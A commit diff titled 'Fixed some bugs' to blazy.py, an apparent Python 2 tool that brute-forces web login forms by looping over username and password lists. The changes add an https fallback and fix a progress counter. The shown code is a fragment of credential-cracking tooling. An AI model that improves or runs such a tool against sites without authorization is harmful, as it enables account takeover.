Fixed some bugs
This commit is contained in:
8
blazy.py
8
blazy.py
@@ -40,8 +40,11 @@ elif 'https://' in url:
|
|||||||
url = url.replace('https://', 'http://')
|
url = url.replace('https://', 'http://')
|
||||||
else:
|
else:
|
||||||
url = 'http://' + url
|
url = 'http://' + url
|
||||||
|
try:
|
||||||
br.open(url) #Opens the url
|
br.open(url) #Opens the url
|
||||||
|
except urllib2.URLError as e:
|
||||||
|
url = 'https://' + url
|
||||||
|
br.open(url)
|
||||||
forms = br.forms() #Finds all the forms present in webpage
|
forms = br.forms() #Finds all the forms present in webpage
|
||||||
|
|
||||||
headers = str(urlopen(url).headers.headers).lower() #Fetches headers of webpage
|
headers = str(urlopen(url).headers.headers).lower() #Fetches headers of webpage
|
||||||
@@ -140,8 +143,8 @@ def find(): #Function for finding forms
|
|||||||
pass
|
pass
|
||||||
print '\033[1;31m[-]\033[0m No forms found'
|
print '\033[1;31m[-]\033[0m No forms found'
|
||||||
def brute(username, passwd, menu, option, name, form_number):
|
def brute(username, passwd, menu, option, name, form_number):
|
||||||
progress = 1
|
|
||||||
for uname in usernames:
|
for uname in usernames:
|
||||||
|
progress = 1
|
||||||
print '\033[1;97m[>]\033[1;m Bruteforcing username: %s'% uname
|
print '\033[1;97m[>]\033[1;m Bruteforcing username: %s'% uname
|
||||||
for password in passwords:
|
for password in passwords:
|
||||||
sys.stdout.write('\r\033[1;97m[>]\033[1;m Passwords tried: %i / %i'% (progress, len(passwords)))
|
sys.stdout.write('\r\033[1;97m[>]\033[1;m Passwords tried: %i / %i'% (progress, len(passwords)))
|
||||||
@@ -183,6 +186,7 @@ def brute(username, passwd, menu, option, name, form_number):
|
|||||||
else:
|
else:
|
||||||
pass
|
pass
|
||||||
progress = progress + 1
|
progress = progress + 1
|
||||||
|
print ''
|
||||||
print '\033[1;31m[-]\033[0m Failed to crack login credentials'
|
print '\033[1;31m[-]\033[0m Failed to crack login credentials'
|
||||||
quit()
|
quit()
|
||||||
find()
|
find()
|
||||||
Reference in New Issue
Block a user